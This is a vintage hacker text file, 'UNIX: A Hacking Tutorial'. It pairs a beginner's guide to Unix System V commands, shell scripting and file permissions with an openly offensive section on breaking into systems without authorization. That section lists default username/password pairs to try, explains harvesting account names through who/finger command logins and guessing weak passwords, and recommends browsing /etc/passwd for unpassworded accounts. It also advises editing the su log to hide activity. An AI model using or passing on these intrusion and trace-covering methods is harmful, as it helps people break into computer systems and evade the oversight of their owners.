```
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++
+                     UNIX : A Hacking Tutorial                     +
+                        By: Sir Hackalot                        +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++
```

----
o Intent of this file:

This phile is geared as an UNIX tutorial at first, to let you get more familiar with the operating system. UNIX is just an operating system, as is MS-DOS, AppleDOS, AmigaDOS, and others. UNIX happens to be a multi-user-multi-tasking system, thus bringing a need for security not found on MSDOS, AppleDOS, etc. This phile will hopefully teach the beginners who do not have a clue about how to use UNIX a good start, and may hopefully teach old pros something they didn't know before. This file deals with UNIX SYSTEM V and its variants. When I talk about unix, its usually about SYSTEM V (rel 3.2).

Where Can I be found? I have no Idea. The Boards today are going Up'n'Down so fast, 3 days after you read this file, if I put a BBS in it where you could reach me, it may be down! Just look for me.

I can be reached on DarkWood Castle [If it goes back up], but that board is hard to get access on, but I decided to mention it anyway.

I *COULD* Have been reached on jolnet, but......

This file may have some bad spelling, etc, or discrepencies since it was spread out over a long time of writing, because of school, work, Girl friend, etc. Please, no flames. If you don't like this file, don't keep it.

This is distributed under PHAZE Inc. Here are the members (and ex ones)
The Dark Pawn
The Data Wizard
Sir Hackalot (Me)
Taxi (ummm.. Busted)
Lancia (Busted)
The British Knight (Busted)
The Living Pharoah (Busted)

----
o Dedication:

This phile is dedicated to the members of LOD that were raided in Atlanta. The members that got busted were very good hackers, especially The Prophet. Good luck to you guys, and I hope you show up again somewhere.

----
o A little History, etc:

UNIX, of course, was invented By AT&T in the 60's somewhere, to be "a programmer's operating system." While that goal was probably not reached when they first invented UNIX, it seems that now, UNIX is a programmer's OS. UNIX, as I have said before, is a multi-tasking/multi-user OS. It is also written in C, or at least large parts of it are, thus making it a portable operating system. We know that MSDOS corresponds to IBM/clone machines, right? Well, this is not the case with UNIX. We do not associate it with any one computer since it has been adapted for many, and there are many UNIX variants [that is, UNIX modified by a vendor, or such]. Some AT&T computers run it, and also some run MSDOS [AT&T 6300]. The SUN workstations run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version of UNIX. Remember, no matter what the name of the operating system is [BSD, UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the commands the operating system uses. Some variants may have features others do not, but they are basically similar in that they have a lot of the same commands/datafiles. When someone tries to tell you that UNIX goes along with a certain type of computer, they may be right, but remember, some computers have more than one Operating system. For instance, one person may tell you that UNIX is to a VAX as MSDOS is to IBM/clones. That is untrue, and the only reason I stated that, was because I have seen many messages with info /comparisons in it like that, which confuse users when they see a VAX running VMS.

----
o Identifying a Unix/Logging in

From now on, I will be referring to all the UNIX variants/etc as UNIX, so when I say something about UNIX, it generally means all the variants (Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless I state a variant in particular.

Okay. Now its time for me to tell you how a unix USUALLY greets you. First, when you call up a UNIX, or connect to one however you do, you will usually get this prompt:

```
login:
```

Ok. Thats all fine and dandy. That means that this is PROBABLY a Unix, although there are BBS's that can mimic the login procedure of an OS (Operating System), thus making some people believe its a Unix. [Hah!]. Some Unixes will tell you what they are or give you a message before a login: prompt, as such:

```
Welcome to SHUnix.  Please log in.

login:
```

Or something like that. Public access Unixes [like Public BBSs] will tell you how to logon if you are a new users. Unfortunatly, this phile is not about public access Unixes, but I will talk about them briefly later, as a UUCP/UseNet/Bitnet address for mail.

OK. You've gotten to the login prompt! Now, what you need to do

here is enter in a valid account. An Account usually consists of 8 characters or less. After you enter in an account, you will probably get a password prompt of some sort. The prompts may vary, as the source code to the login program is usually supplied with UNIX, or is readily available for free.
Well, The easiest thing I can say to do to login is basically this:
Get an account, or try the defaults. The defaults are ones that came with the operating system, in standard form. The list of some of the Defaults are as follows:

ACCOUNT	PASSWORD
root	root - Rarely open to hackers
sys	sys / system / bin
bin	sys / bin
mountfsys	mountfsys
adm	adm
uucp	uucp
nuucp	anon
anon	anon
user	user
games	games
install	install
reboot	* See Below
demo	demo
umountfsys	umountfsys
sync	sync
admin	admin
guest	guest
daemon	daemon

The accounts root, mountfsys, umountfsys, install, and sometimes sync are root level accounts, meaning they have sysop power, or total power. Other logins are just "user level" logins meaning they only have power over what files/processes they own. I'll get into that later, in the file permissions section. The REBOOT login is what as known as a command login, which just simply doesn't let you into the operating system, but executes a program assigned to it. It usually does just what it says, reboot the system. It may not be standard on all UNIX systems, but I have seen it on UNISYS unixes and also HP/UX systems [Hewlett Packard Unixes]. So far, these accounts have not been passworded [reboot], which is real stupid, if you ask me.

COMMAND LOGINS:

There are "command logins", which, like reboot, execute a command then log you off instead of letting you use the command interpreter. BSD is notorious for having these, and concequently, so does MIT's computers. Here are some:

rwho - show who is online
finger - same
who - same

These are the most useful, since they will give the account names that are online, thus showing you several accounts that actually exist.

Errors:

When you get an invalid Account name / invalid password, or both, you will get some kind of error. Usually it is the "login incorrect" message. When the computer tells you that, you have done something wrong by either enterring an invalid account name, or a valid account name, but invalid password. It does not tell you which mistake you made, for obvious reasons. Also, when you login incorrectly, the error log on the system gets updated, letting the sysops(s) know something is amiss.

Another error is "Cannot change to home directory" or "Cannot Change Directory." This means that no "home directory" which is essentially the 'root' directory for an account, which is the directory you start off in. On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in /homedirectory. [Note: The / is used in directories on UNIX, not a \ ]. Most systems will log you off after this, but some tell you that they will put you in the root directory ['/'].

Another error is "No Shell". This means that no "shell" was defined for that particular account. The "shell" will be explained later. Some systems will log you off after this message. Others will tell you that they will use the regular shell, by saying "Using the bourne shell", or "Using sh"

Accounts In General :

This section is to hopefully describe to you the user structure in the UNIX environment.
Ok, think of UNIX having two levels of security: absolute power, or just a regular user. The ones that have absolute power are those users at the root level. Ok, now is the time to think in numbers. Unix associates numbers with account names. each account will have a number. Some will have the same number. That number is the UID [user-id] of the account. the root user id is 0. Any account that has a user id of 0 will have root access. Unix does not deal with account names (logins) but rather the number associated with them. for instance, If my user-id is 50, and someone else's is 50, with both have absolute power of each other, but no-one else.

Shells :

A shell is an executable program which loads and runs when a user logs on, and is in the foreground. This "shell" can be any executable program, and it is defined in the "passwd" file which is the userfile. Each login can have a unique "shell". Ok. Now the shell that we usually will work with is a command interpreter. A command interpreter is simply something like MSDOS's COMMAND.COM, which processes commands, and sends them to the kernel [operating system]. A shell can be anything, as I said before, but the one you want to have is a command interpreter. Here are the usual shells you will find:

sh - This is the bourne shell. It is your basic Unix "COMMAND.COM". It has a "script" language, as do most of the command interpreters on Unix systems.

csh - This is the "C" shell, which will allow you to enter "C" like commands.
ksh - this is the korn shell. Just another command interpreter.
tcsh - this is one, which is used at MIT I believe. Allows command editing.
vsh - visual shell. It is a menu driven deal. Sorta like.. Windows for DOS
rsh - restricted shell OR remote shell. Both Explained later.

There are many others, including "homemade " shells, which are programs written by the owner of a unix, or for a specific unix, and they are not standard. Remember, the shell is just the program you get to use and when it is done executing, you get logged off. A good example of a homemade shell is on Eskimo North, a public access Unix. The shell is called "Esh", and it is just something like a one-key-press BBS, but hey, its still a shell. The Number to eskimo north is 206-387-3637. [206-For-Ever]. If you call there, send Glitch Lots of mail.

Several companies use Word Processors, databases, and other things as a user shell, to prevent abuse, and make life easier for unskilled computer operators. Several Medical Hospitals use this kind of shell in Georgia, and fortunatly, these second rate programs leave major holes in Unix. Also, a BBS can be run as a shell. Check out Jolnet [312]-301-2100, they give you a choice between a command interpreter, or a BBS as a shell.
WHen you have a command interpreter, the prompt is usually a:
$
when you are a root user the prompt is usually a:
#
The variable, PS1, can be set to hold a prompt.
For instance, if PS1 is "HI:", your prompt will be:
HI:

SPecial Characters, ETc:

Control-D : End of file. When using mail or a text editor, this will end the message or text file. If you are in the shell and hit control-d you get logged off.

Control-J: On some systems, this is like the enter key.
@ : Is sometimes a "null"
? : This is a wildcard. This can represent a letter. If you specified something at the command line like "b?b" Unix would look for bob,bib,bub, and every other letter/number between a-z, 0-9.
* : this can represent any number of characters. If you specified a "hi*" it would use "hit", him, hiiii, hiya, and ANYTHING that starts with hi. "H*l" could by hill, hull, hl, and anything that starts with an H and ends with an L.

[] - The specifies a range. if i did b[o,u,i]b unix would think: bib,bub,bob if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb. Get the idea? The [], ?, and * are usually used with copy, deleting files, and directory listings.

EVERYTHING in Unix is CASE sensitive. This means "Hill" and "hill" are not the same thing. This allows for many files to be able to be stored, since "Hill" "hill" "hIll" "hiLl", etc. can be different files. So, when using the [] stuff, you have to specify capital letters if any files you are dealing with has capital letters. Most everything is lower case though.

Commands to use:

Now, I will rundown some of the useful commands of Unix. I will act as if I were typing in the actual command from a prompt.

ls - this is to get a directory. With no arguments, it will just print out file names in either one column or multi-column output, depending on the ls program you have access to.

```
    example:
    $ ls
    hithere
    runme
    note.text
    src
    $
    the -l switch will give you extended info on the files.
    $ ls -l
    rwx--x--x sirhack     sirh    10990 runme
    and so on....
```

the "rwx--x--x" is the file permission. [Explained Later]
the "sirhack   sirh" is the owner of the file/group the file is in.
sirhack = owner, sirh = user-group the file is in [explained later]
the 10990 is the size of the file in bytes.
"runme" is the file name.
The format varies, but you should have the general idea.

cat - this types out a file onto the screen. should be used on text files.
only use it with binary files to make a user mad [explained later]

```
   ex:
   $ cat note.txt
   This is a sample text file!
   $
```

cd - change directory . You do it like this: cd /dir/dir1/dir2/dirn.
the dir1/etc.... describes the directory name. Say I want to get to the root directory.

```
  ex:
  $ cd /
  *ok, I'm there.*
  $ ls
  bin
  sys
  etc
  temp
  work
  usr
```

all of the above are directories, lets say.

```
   $ cd /usr
   $ ls
   sirhack
   datawiz
   prophet
   src
   violence
   par
   phiber
   scythian
   $ cd /usr/sirhack
   $ ls
   hithere
   runme
   note.text
   src
   $
```
ok, now, you do not have to enter the full dir name. if you are in
a directory, and want to get into one that is right there [say "src"], you
can type "cd src" [no "/"]. Instead of typing "cd /usr/sirhack/src" from the
sirhack dir, you can type "cd src"

cp - this copies a file. syntax for it is "cp fromfile tofile"
```
   $ cp runme runme2
   $ ls
   hithere
   runme
   note.text
   src
   runme2
```
Full pathnames can be included, as to copy it to another directory.
```
   $ cp runme /usr/datwiz/runme
```

mv - this renames a file. syntax "mv oldname newname"
```
   $ mv runme2 runit
   $ ls
   hithere
   runme
   note.text
   src
   runit
```
files can be renamed into other directories.
```
   $ mv runit /usr/datwiz/run
   $ ls
   hithere
   runme
   note.text
   src
   $ ls /usr/datwiz
   runme
   run
```

pwd - gives current directory
```
   $ pwd
   /usr/sirhack
   $ cd src
```

```
  $ pwd
  /usr/sirhack/src
  $ cd ..
  $ pwd
  /usr/sirhack
  [ the ".." means use the name one directory back. ]
  $ cd ../datwiz
    [translates to cd /usr/datwiz]
  $ pwd
  /usr/datwiz
  $ cd $home
  [goto home dir]
  $ pwd
  /usr/sirhack
```

rm - delete a file. syntax "rm filename" or "rm -r directory name"

```
  $ rm note.text
  $ ls
  hithere
  runme
  src
  $
```

write - chat with another user. Well, "write" to another user.
syntax: "write username"

```
  $ write scythian
  scythian has been notified
  Hey Scy! What up??
  Message from scythian on tty001 at 17:32
  hey!
  me: So, hows life?
  scy: ok, I guess.
  me: gotta go finish this text file.
  scy: ok
  me: control-D [to exit program]
  $
```

who [w,who,whodo] - print who is online

```
  $ who
  login      term   logontime
  scythian +  tty001 17:20
  phiberO  +  tty002 15:50
  sirhack  +  tty003 17:21
  datawiz  -  tty004 11:20
  glitch   -  tty666 66:60
  $
```

the "who" commands may vary in the information given. a "+" means
you can "write" to their terminal, a "-" means you cannot.

man - show a manual page entry. syntax "man command name" This is a help
program. If you wanted to know how to use... "who" you'd type

```
  $ man who
  WHO(1)   xxx......
```

and it would tell you.

stty - set your terminal characteristics. You WILL have to do "man stty"

since each stty is different, it seems like.
an example would be:

```
$ stty -parenb
```

to make the data params N,8,1. A lot of Unixes operate at e,7,1 by default.

sz,rz - send and recieve via zmodem
rx,sx - send / recieve via xmodem
rb,sb - send via batch ymodem. These 6 programs may or may not be on a unix.
umodem - send/recieve via umodem.

```
$ sz filename
ready to send...
$ rz filename
please send your file....
...etc..
```

ed - text editor. Usage "ed filename" to create a file that doesn't exist, just enter in "ed filename"
some versions of ed will give you a prompt, such as "*" others will not

```
$ ed newtext
0
* a
This is line 1
This is line 2
[control-z]
* 1 [to see line one]
This is line 1
* a [keep adding]
This is line 3
[control-z]
*0a [add after line 0]
This is THE first line
[control-z]
1,4l
This is THE first line
This is line 1
This is line 2
This is line 3
* w
71
* q
$
```

The 71 is number of bytes written.
a = append
l = list
# = print line number
w - write
l fname = load fname
s fname = save to fname
w = write to current file
q = quit

mesg - turn write permissions on or off to your terminal (allow chat)
format "mesg y" or "mesg n"
cc - the C compiler. don't worry about this one right now.
chmod - change mode of a file. Change the access in other words.
syntax: "chmod mode filename"

```
      $ chmod a+r newtext
     Now everyone can read newtext.
     a = all
     r = read.  This will be explained further in the File System section.
```

chown - change the owner of a file.

```
      syntax: "chown owner filename"
      $ chown scythian newtext
      $
```

chgrp - change the group [explained later] of a file.

```
      syntax: "chgrp group file"
      $ chgrp root runme
      $
```

finger - print out basic info on an account. Format: finger username
grep - search for patterns in a file. syntax: "grep pattern file"

```
      $ grep 1 newtext
      This is Line 1
      $ grep THE newtext
      This is THE first line
      $ grep "THE line 1" newtext
      $
```

mail - This is a very useful utility. Obviously, you already know what it
is by its name. There are several MAIL utilities, such as ELM, MUSH
and MSH, but the basic "mail" program is called "mail". The usage
is:

```
       "mail username@address" or
       "mail username"
       or
       "mail"
       or "mail addr1!addr2!addr3!user"
```

"mail username@address" - This is used to send mail to someone on
another system, which is usually another UNIX, but some DOS machines and some
VAX machines can recieve Unix Mail. When you use "mail user@address" the
system you are on MUST have a "smart mailer" [known as smail], and must
have what we call system maps. The smart mailer will find the "adress" part
of the command and expand it into the full pathname usually. I could look
like this: mail phiber@optik
then look like this to the computer:

```
          mail sys1!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber
```

Do not worry about it, I was merely explaining the principal of the thing.
Now, if there is no smart mailer online, you'll have to know the FULL path
name of the person you wish to mail to. For Instance, I want to mail to
.. phiber. I'd do this if there were no smart mailer:

```
 $ mail sys!unisys!pacbell!sbell!sc1!att.com!sirhacksys!optik!phiber

   Hey Guy.  Whats up?  Well, gotta go.  Nice long message huh?
   [control-D]
 $
```

Then, when he got it, there would be about 20 lines of information, with
like a post mark from every system my message went thru, and the "from" line
would look like so:

From optik!sirhacksys!att.com!sc1!sbell!pacbell!unisys!sys!sirhack <Sir Hack>

Now, for local mailing, just type in "mail username" where username is the login you want to send mail to. Then type in your message. Then end it with a control-D.

To read YOUR mail, just type in mail. IE:

```
$ mail

From scythian ............
To sirhack ............
Subject: Well....

Arghhh!

?
```

The dots represent omitted crap. Each Mail program makes its own headings. That ? is a prompt. At this prompt I can type:

```
d - delete
f username - forward to username
w fname - write message to a file named fname
s fname - save message with header into file
q - quit / update mail
x - quit, but don't change a thing
m username - mail to username
r - reply
[enter] - read next message
+ - go forward one message
- : go back one
h - print out message headers that are in your mailbox.
```

There are others, to see them, you'd usually hit '?'.

If you send mail to someone not on your system, you will have to wait longer for a reply, since it is just as a letter. A "postman" has to pick it up. The system might call out, and use UUCP to transfer mail. Usually, uucp accounts are no good to one, unless you have uucp available to intercept mail.

ps - process. This command allows you to see what you are actually doing in memory. Everytime you run a program, it gets assigned a Process Id number (PID), for accounting purposes, and so it can be tracked in memory, as well as shut down by you, or root. usually, the first thing in a process list given by "ps" is your shell name. Say I was logged in under sirhack, using the shell "csh" and running "watch scythian". The watch program would go into the background, meaning I'd still be able to do things while it was running:

```
 $ ps
 PID  TTY  NAME
 122  001  ksh
 123  001  watch
 $
```

That is a shortened PS. That is the default listing [a brief one].
The TTY column represents the "tty" [i/o device] that the process is being
run from. This is only useful really if you are using layers (don't worry)
or more than one person is logged in with the same account name. Now,
"ps -f" would give a full process listing on yourself, so instead of
seeing just plain ole "watch" you'd most likely see "watch scythian"

kill - kill a process. This is used to terminate a program in memory obvio-
ously. You can only kill processes you own [ones you started], unless you
are root, or your EUID is the same as the process you want to kill.
(Will explain euid later). If you kill the shell process, you are logged
off. By the same token, if you kill someone else's shell process, they
are logged off. So, if I said "kill 122" I would be logged off. However,
kill only sends a signal to UNIX telling it to kill off a process. If
you just use the syntax "kill pid" then UNIX kills the process WHEN it feels
like it, which may be never. So, you can specify urgency! Try "kill -num pid"
Kill -9 pid is a definite kill almost instantly. So if I did this:

```
$ kill 122
$ kill 123
$ ps
PID   TTY   NAME
122   001   ksh
123   001   watch
$ kill -9 123
[123]: killed
$ kill -9 122
garbage
NO CARRIER
```

Also, you can do "kill -1 0" to kill your shell process to log yourself off.
This is useful in scripts (explained later).

Shell Programmin'

Shell Programming is basically making a "script" file for the
standard shell, being sh, ksh, csh, or something on those lines. Its
like an MSDOS batch file, but more complex, and more Flexible.
This can be useful in one aspect of hacking.

First, lets get into variables. Variables obviously can be assigned
values. These values can be string values, or numberic values.

```
number=1
```

That would assign 1 to the variable named "number".

```
string=Hi There
or
string="Hi There"
```

Both would assign "Hi there" to a variable.

Using a variable is different though. When you wish to use a variable you must procede it with a dollar ($) sign. These variables can be used as arguments in programs. When I said that scripts are like batch files, I meant it. You can enter in any name of a program in a script file, and it will execute it. Here is a sample script.

```
counter=1
arg1="-uf"
arg2="scythian"

ps $arg1 $arg2

echo $counter
```

That script would translate to "ps -uf scythian" then would print "1" after that was finished. ECHO prints something on the screen whether it be numeric, or a string constant.

Other Commands / Examples:

read - reads someting into a variable. format : read variable . No dollar sign is needed here! If I wwanted to get someone's name, I could put:

```
echo "What is your name?"
read hisname
echo Hello $hisname
```

```
    What is your name?
    Sir Hackalot
    Hello Sir Hackalot
```

Remember, read can read numeric values also.

trap - This can watch for someone to use the interrupt character. (Ctrl-c)
format: trap "command ; command ; command ; etc.."

Example:

```
    trap "echo 'Noway!! You are not getting rid o me that easy' ; echo
    'You gotta see this through!'"
```

Now, if I hit control-c during the script after this statement was executed, I'd get:

```
    Noway!! You are not getting rid of me that easy
    You gotta see this through!
```

exit : format :exit [num] This exists the shell [quits] with return code of num.

CASE

Case execution is like a menu choice deal. The format of the command or structure is :

```
    case variable in
    1) command;
       command;;
```

```
2) command;
   command;
   command;;
*) command;;
 esac
```

Each part can have any number of commands. The last command however must have a ";;". Take this menu:

```
echo "Please Choose:"
echo "(D)irectory (L)ogoff (S)hell"
read choice
case $choice in

D) echo "Doing Directory...";
   ls -al ;;
L) echo Bye;
   kill -1 0;;
S) exit;;
*) Echo "Error! Not a command";;
esac
```

The esac marks the end of a case function. It must be after the LAST command.

Loops

Ok, loops. There are two loop functins. the for loops, and the repeat.

repeat looks like this: repeat something somethin1 somethin2
this would repeat a section of your script for each "something".
say i did this:
repeat scythian sirhack prophet

I may see "scythian" then sirhack then prophet on my screen.

```
The for loop is defined as "for variable in something
                           do
                           ..
                           ..
                           done"
```

an example:

```
for counter in 1 2 3
do
echo $counter
done
```

That would print out 1 then 2 then 3.

Using TEST

The format: Test variable option variable

The optios are:

-eq   =
-ne   <> (not equal)
-gt   >
-lt   <
-ge   >=
-le   <=

for strings its: = for equal != for not equal.

If the condition is true, a zero is returned. Watch:

```
test 3 -eq 3
```

that would be test 3 = 3, and 0 would be returned.

EXPR

This is for numeric functions. You cannot simply type in
echo 4 + 5
and get an answer most of the time. you must say:
expr variable [or number] operator variable2 [or number]
the operators are:

+ add
- subtract
* multiply
/ divide
^ - power (on some systems)

example :   expr 4 + 5
var = expr 4 + 5
var would hold 9.

On some systems, expr sometimes prints out a formula. I mean,
22+12 is not the same as 22 + 12. If you said expr 22+12 you
would see:
22+12
If you did expr 22 + 12 you'd see:
34

SYSTEM VARIABLES

These are variables used by the shell, and are usually set in the
system wide .profile [explained later].

HOME - location of your home directory.
PS1 - The prompt you are given. usually $. On BSD its usually &
PATH - This is the search path for programs. When you type in a program
to be run, it is not in memory; it must be loaded off disk. Most commands
are not in Memory like MSDOS. If a program is on the search path, it may
be executed no matter where you are. If not, you must be in the directory
where the program is. A path is a set of directories basically, seperated by
":"'s. Here is a typical search path:

```
:/bin:/etc:/usr/lbin:$HOME:
```

When you tried to execute a program, Unix would look for it in /bin, /etc, /usr/lbin, and your home directory, and if its not found, an error is spewed out. It searches directories in ORDER of the path. SO if you had a program named "sh" in your home directory, and typed in "sh", EVEN if you were in your home dir, it would execute the one in /bin. So, you must set your paths wisely. Public access Unixes do this for you, but systems you may encounter may have no path set.

TERM - This is your terminal type. UNIX has a library of functions called "CURSES" which can take advantage of any terminal, provided the escape codes are found. You must have your term set to something if you run screen oriented programs. The escape codes/names of terms are found in a file called TERMCAP. Don't worry about that. just set your term to ansi or vt100. CURSES will let you know if it cannot manipulate your terminal emulation.

The C compiler

This Will be BRIEF. Why? Becuase if you want to learn C, go buy a book. I don't have time to write another text file on C, for it would be huge. Basically, most executables are programmed in C. Source code files on unix are found as filename.c . To compile one, type in "cc filename.c". Not all C programs will compile, since they may depend on other files not there, or are just modules. If you see a think called "makefile" you can usually type in just "make" at the command prompt, and something will be compiled, or be attempted to compile. When using make or CC, it would be wise to use the background operand since compiling sometimes takes for ever.
IE:

```
$ cc login.c&
[1234]
$
```

(The 1234 was the process # it got identified as).

The FILE SYSTEM

This is an instrumental part of UNIX. If you do not understand this section, you'll never get the hang of hacking Unix, since a lot of Pranks you can play, and things you can do to "raise your access" depend on it.

First, Let's start out by talking about the directory structure. It is basically a Hiearchy file system, meaning, it starts out at a root directory and expands, just as MSDOS, and possibly AmigaDos.

Here is a Directory Tree of sorts: (d) means directory

```
                   /  (root dir)
                   |
                   |--------------------|
                 bin (d)              usr (d)
                                ----^--------------------
                                |       |             |
                            sirhack(d)  scythian (d)    prophet (d)
                                |
                                src (d)
```

Now, this particular system contains the following directories:
/
/bin
/usr
/usr/sirhack
/usr/sirhack/src
/usr/scythian
/usr/prophet

Hopefully, you understood that part, and you should. Everything spawns from the root directory.

o File Permissions!

Now, this is really the biggie. File Permissions. It is not that hard to understand file permissions, but I will explain them deeply anyway.

OK, now you must think of user groups as well as user names. Everyone belongs to a group. at the $ prompt, you could type in 'id' to see what group you are in. Ok, groups are used to allow people access certain things, instead of just having one person controlling/having access to certain files. Remember also, that Unix looks at someone's UID to determine access, not user name.

Ok. File permissions are not really that complicated. Each file has an owner This OWNER is usually the one who creates the file, either by copying a file or just by plain editing one. The program CHOWN can be used to give someone ownership of a file. Remember that the owner of a file must be the one who runs CHOWN, since he is the only one that can change the permissions of a file Also, there is a group owner, which is basically the group that you were in when the file was created. You would use chgrp to change the group a file is in.

Now, Files can have Execute permissions, read permissions, or write permission. If you have execute permission, you know that you can just type in the name of that program at the command line, and it will execute. If you have read permission on a file, you can obviously read the file, or do anything that reads the file in, such as copying the file or cat[ing] it (Typing it).
If you do NOT have access to read a file, you can't do anything that requires reading in the file. This is the same respect with write permission. Now, all the permissions are arranged into 3 groups. The first is the owner's permissions. He may have the permissions set for himself to read and execute the file, but not write to it. This would keep him from deleting it.

The second group is the group permissions. Take an elongated directory
for an example:

```
$ ls -l runme
r-xrwxr-- sirhack       root     10990 March 21  runme
```

ok. Now, "root" is the groupname this file is in. "sirhack" is the owner.
Now, if the group named 'root' has access to read, write and execute, they
could do just that. Say .. Scythian came across the file, and was in the root
user group. He could read write or execute the file. Now, say datawiz came
across it, but was in the "users" group. The group permissions would not
apply to him, meaning he would have no permissions, so he couldn't touch
the file, right? Sorta. There is a third group of permissions, and this is
the "other" group. This means that the permissions in the "other" group
apply to everyone but the owner, and the users in the same group as the file.
Look at the directory entry above. the r-x-rwxr-- is the permissions line.
The first three characters are the permissions for the owner (r-x). The
"r-x" translates to "Read and execute permissions, but no write permissions"
the second set of three, r-xRWXr-- (the ones in capital letters) are the group
permissions. Those three characters mean "Read, write, and execution allowed"
The 3rd set, r-xrwxR-- is the permissions for everyone else. It means
"Reading allowed, but nothing else". A directory would look something like
this:

```
$ ls -l
drwxr-xr-x sirhack     root  342 March 11  src
```

A directory has a "d" at the beggining of the permissions line. Now, the
owner of the directory (sirhack) can read from the directory, write in the
directory, and execute programs from the directory. The root group and every-
one else can only read from the directory, and execute off the directory.
So, If I changed the directory to be executable only, this is
what it would look like:

```
$ chmod go-r
$ ls
drwx--x--x sirhack   root  342  March 11  src
```

Now, if someone went into the directory besides "sirhack", they could only
execute programs in the directory. If they did an "ls" to get a directory
of src, when they were inside src, it would say "cannot read directory".
If there is a file that is readable in the directory, but the directory is
not readable, it is sometimes possible to read the file anyway.

If you do not have execute permissions in a directory, you won't be able to
execute anything in the directory, most of the time.

Hacking:

      The first step in hacking a UNIX is to get into the operating system
by finding a valid account/password. The object of hacking is usually to
get root (full privileges), so if you're lucky enough to get in as root,
you need not read anymore of this hacking phile , and get into the
"Having Fun" Section. Hacking can also be just to get other's accounts also.

Getting IN

The first thing to do is to GET IN to the Unix. I mean, get past the login prompt. That is the very first thing. When you come across a UNIX, sometimes it will identify itself by saying something like,
"Young INC. Company UNIX"

or Just
"Young Inc. Please login"

Here is where you try the defaults I listed. If you get in with those you can get into the more advanced hacking (getting root). If you do something wrong at login, you'll get the message
"login incorrect"
This was meant to confuse hackers, or keep the wondering. Why?
Well, you don't know if you've enterred an account that does not exist, or one that does exist, and got the wrong password. If you login as root and it says "Not on Console", you have a problem. You have to login as someone else, and use SU to become root.

Now, this is where you have to think. If you cannot get in with a default, you are obviously going to have to find something else to login as. Some systems provide a good way to do this by allowing the use of command logins. These are ones which simply execute a command, then logoff. However, the commands they execute are usually useful. For instance there are three common command logins that tell you who is online at the present time. They are:

```
    who
    rwho
    finger
```

If you ever successfully get one of these to work, you can write down the usernames of those online, and try to logon as them. Lots of unsuspecting users use there login name as their password. For instance, the user "bob" may have a password named "bob" or "bob1". This, as you know, is not smart, but they don't expect a hacking spree to be carried out on them. They merely want to be able to login fast.

If a command login does not exist, or is not useful at all, you will have to brainstorm. A good thing to try is to use the name of the unix that it is identified as. For instance, Young INC's Unix may have an account named "young"

```
    Young, INC.  Please Login.
    login: young
    UNIX SYSTEM V REL 3.2
    (c)1984 AT&T..
    ..
    ..
    ..
```

Some unixes have an account open named "test". This is also a default, but surprisingly enough, it is sometimes left open. It is good to try to use it. Remember, brainstorming is the key to a unix that has no apparent defaults open. Think of things that may go along with the Unix. type in stuff like "info", "password", "dial", "bbs" and other things that may pertain to the system. "att" is present on some machines also.

ONCE INSIDE -- SPECIAL FILES

There are several files that are very important to the UNIX environment. They are as follows:

/etc/passwd - This is probably the most important file on a Unix. Why? well, basically, it holds the valid usernames/passwords. This is important since only those listed in the passwd file can login, and even then some can't (will explain). The format for the passwordfile is this:

```
username:password:UserID:GroupID:description(or real name):homedir:shell
```

Here are two sample entries:

```
sirhack:89fGc%^7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh
demo::101:100:Test Account:/usr/demo:/usr/sh
```

In the first line, sirhack is a valid user. The second field, however, is supposed to be a password, right? Well, it is, but it's encrypted with the DES encryption standard. the part that says "&a,Ty" may include a date after the comma (Ty) that tells unix when the password expires. Yes, the date is encrypted into two alphanumeric characters (Ty).

In the Second example, the demo account has no password. so at Login, you could type in:

```
login: demo
UNIX system V
(c)1984 AT&T
..
..
```

But with sirhack, you'd have to enter a password. Now, the password file is great, since a lot of times, you;ll be able to browse through it to look for unpassworded accounts. Remember that some accounts can be restricted from logging in, as such:

```
bin:*:2:2:binaccount:/bin:/bin/sh
```

The '*' means you won't be able to login with it. Your only hope would be to run an SUID shell (explained later).

A note about the DES encryption: each unix makes its own unique "keyword" to base encryption off of. Most of the time its just random letters and numbers. Its chosen at installation time by the operating system.

Now, decrypting DES encrypted things ain't easy. Its pretty much impossible. Especially decrypting the password file (decrypting the password field within the password file to be exact). Always beware a hacker who says he decrypted a password file. He's full of shit. Passwords are never decrypted on unix, but rather, a system call is made to a function called "crypt" from within the C language, and the string you enter as the password gets encrypted, and compared to the encrypted password. If they match, you're in. Now, there are password hackers, but they donot decrypt the password file, but rather, encrypt words from a dictionary

and try them against every account (by crypting/comparing) until it finds
a match (later on!). Remember, few, if none, have decrypted the password
file successfuly.

/etc/group - This file contains The valid groups. The group file is usually
defined as this:
groupname:password:groupid:users in group

Once again, passwords are encrypted here too. If you see a blank
in the password entry you can become part of that group by
using the utility "newgrp". Now, there are some cases in
which even groups with no password will allow only certain
users to be assigned to the group via the newgrp command. Usually,
if the last field is left blank, that means any user can use newgrp
to get that group's access. Otherwise, only the users specified in
the last field can enter the group via newgrp.

Newgrp is just a program that will change your group current
group id you are logged on under to the one you specify. The
syntax for it is: newgrp groupname
Now, if you find a group un passworded, and use newgrp to
enter it, and it asks for a password, you are not allowed to use
the group. I will explain this further in The "SU & Newgrp" section.

/etc/hosts - this file contains a list of hosts it is connected to thru
a hardware network (like an x.25 link or something), or sometimes
just thru UUCP. This is a good file when you are hacking a
large network, since it tells you systems you can use with
rsh (Remote Shell, not restricted shell), rlogin, and telnet,
as well as other ethernet/x.25 link programs.

/usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in
Several directories, but it is usually in /usr/adm. This file
is what it sounds like. Its a log file, for the program SU.
What it is for is to keep a record of who uses SU and when.
whenever you use SU, your best bet would be to edit this file
if possible, and I'll tell you how and why in the section
about using "su".

/usr/adm/loginlog
or /usr/adm/acct/loginlog -
This is a log file, keeping track of the logins.
Its purpose is merely for accounting and "security review". Really,
sometimes this file is never found, since a lot of systems keep the
logging off.

/usr/adm/errlog
or errlog - This is the error log. It could be located anywhere. It
keeps track of all serious and even not so serious errors.
Usually, it will contain an error code, then a situation.
the error code can be from 1-10, the higher the number, the
worse the error. Error code 6 is usually used when you try
to hack. "login" logs your attempt in errlog with error code
6. Error code 10 means, in a nutshell, "SYSTEM CRASH".

